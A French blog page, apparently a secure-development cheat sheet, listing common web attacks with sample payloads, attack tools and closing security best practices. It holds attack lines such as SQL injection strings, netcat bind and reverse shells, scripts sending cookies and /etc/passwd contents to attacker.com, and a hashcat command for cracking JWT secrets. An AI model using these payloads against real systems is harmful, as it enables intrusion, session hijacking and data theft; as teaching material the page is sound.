Développement sécurisé – Cheat Sheet

Ressources, références

Cross Site Scripting (XSS)

  • Injection de javascript/HTML via formulaire HTML ou URL
  • Vol de session administrateur / tierce

<script type="text/javascript">alert('test');</script>

SQL Injection

  • Récupérations d’informations sensibles de la base de données

1' OR 1=1 -- -
1' || 1=1 # -
... ORDER BY 1, 2, 3, 4, 5, 6, ... 10, 15

SELECT ... INTO OUTFILE ;
SELECT LOAD_FILE ...;
information_schema.schemata, information_schema.columns, ...
VERSION(), USER()

Command Injection

  • Accès à distance sur le serveur. Màj de fichiers. Accès root. déni de service…
  • BindShell : nc -lp 1234 -e /bin/sh puis chez l’attaquant : nc <ip_victime> 1234
  • ReverseShell : nc -lvp 1234 puis sur la victime : nc <ip_attaquant> 1234 /bin/sh
  • Créer un shell interactif : python -c 'import pty; pty.spawn("/bin/bash");'

{cat,/etc/passwd}

Object Injection

  • Ex. PHP Object Injection : nécessite de connaitre le code de l’app.

var_dump(serialize($obj));

Cross-Site Request Forgery (CSRF)

  • Récupérer la session d’un site externe via envoi d’un formulaire non HTTPS

document.write('<img src="http://attacker.com:8080/cookie?' + document.cookie + '"/>');
<form action="..."><input type="hidden"/>...</form><script>document.forms[0].submit();</script>

Server-Side Request Forgery (SSRF)

  • Utilisation d’un formulaire d’envoi d’image pour scanner le serveur
  • Outil: BurpSuite + Intruder

http://ip.locale:port

Import de fichiers

  • Utiliser la fonction d’import de fichier pour injecter du code interprétable.

Code PHP en fin de fichier PNG
Bulletproof JPEGs (code php présent même après réduction de l'image)
curl --user-agent='<?php phpinfo();?>'

Attaque XML

  • Billion Laughs : Inclusion exponentielle d’entités XML
  • Lire des fichiers sur le serveur

<!ENTITY lol "lol"> <!ENTITY lol2 "&lol; &lol;">

<!ENTITY faille SYSTEM "file:///etc/passwd"> <!ENTITY attacker SYSTEM "https://attacker.com?%faille;">
<data>&faille;</data>

Clés de chiffrement

  • Attaque possible par bourrage si couple PKCS7/CBC (Cipher Block Chaining) utilisé
  • Lire des fichiers sur le serveur

Outils

Kali Linux : sqlmap

  • sqlmap –url= » » –forms -v3 –cookie= » » –threads=2 (cookie=document.cookie dans le navigateur)
  • Recherche les failles dans les formulaires HTML
  • Méthode time_based: SLEEP ou BENCHMARK pour détecter si le code est exécuté
  • Méthode bool_based: AND x between ‘a’ and ‘m’ : recherche dichotomique sur le champ recherché

Kali Linux : beEF Xss framework

Kali Linux : BuRP

  • Plugin Authorize: Teste sur chaque requête le mode authentifié / non authentifié / admin
  • Intruder: rejouer les requêtes paramétrées pour scanner un réseau par exemple.
  • proxy local pas-à-pas HTTP. Headers modifiables. Rejouable dans Intruder

Autres outils et astuces

  • Démarrer un serveur rapidement pour tester: python -m SimpleHttpServer 8080 ; php -S 8080
  • hashcat, jwtbrute : permet de casser des clés JWT (360 millions/sec). Ex. hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a
  • Test de robustesse des mots de passe: biliothèque zxcvbn sur github

Quelques outils matériels

  • Clé TNT modifiée permettant d’écouter le réseau GSM par exemple (illégal. NooElec, env. 20€)
  • Fournisseur téléphonique (SFR/Free/… illégal. BladeRF, nuand.com, env. 500€)
  • Brutalis : 8 GPU casseur de mdp: env. 250 milliards de md5 par seconde. sagitta.pw
  • Social Engineering
  • Livre: Silence on the Wire – Michal Zalewski
  • Livre: Hacking, the Art Of Exploitation – Jon Erickson

Fichiers sensibles pouvant être accessibles sur un serveur

  • /var/log/apache2
  • /var/log/auth.log
  • /proc/self/ environ (environnement envoyé par les requetes HTTP par ex) ; fd (open files)

Recommandations

Glossaire

Vulnérabilité
Erreur de conception. Elle peut être logique (scénario mal conçu) ou technique (pb de sécurité, …)
Menace
Element (naruel, humain, technique) exploitant une vulnérabilité
Exploit
Scénario décrivant l’exploitation d’une vulnérabilité

Bonnes pratiques

  • Ne pas stocker les mdp en clair en base de données
  • Implémenter la sécurité dès le début de la conception ; la vérifier
  • Authentification user/mdp : facile mais prévoir garde-fous (logs, en clair le moins d’endroits possibles)
  • Perte mot de passe : pas de mdp en clair par mail, ne pas remplacer le mdp existant dès la demande effectuée.
  • Authentification OTP (One Time Password) : Mdp + clé générée. Nécessite un pérophérique (téléphone, jeton, …)
  • Messages d’erreurs : fournir le moins d’informations possibles. Une erreur générique suffit pour ne pas distinguer les différents cas d’erreurs
  • Une session doit périmer, être interrompue, être sécurisée (flag cookie secure envoyé que sur HTTPS ou httpOnly pour ne pas être utilisé par javascript), être détruite côté serveur à la déconnexion
  • Token JWT : ne pas autoriser l’algorithme « none » (pas de signature). Avoir un « secret » robuste.
  • SQL : utiliser des frameworks (ORM), prepared statements, …
  • Formulaires HTML : créer des tokens (jeton CSRF) pour authentifier le formulaire
  • Pas d’infos sensibles dans les logs
  • Clé symétrique : minimum 128 bits. Clé asymétrique : minimum 2048 bits. Entropie : utiliser Crypt RNG pour l’aléatoire. Une clé par application.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *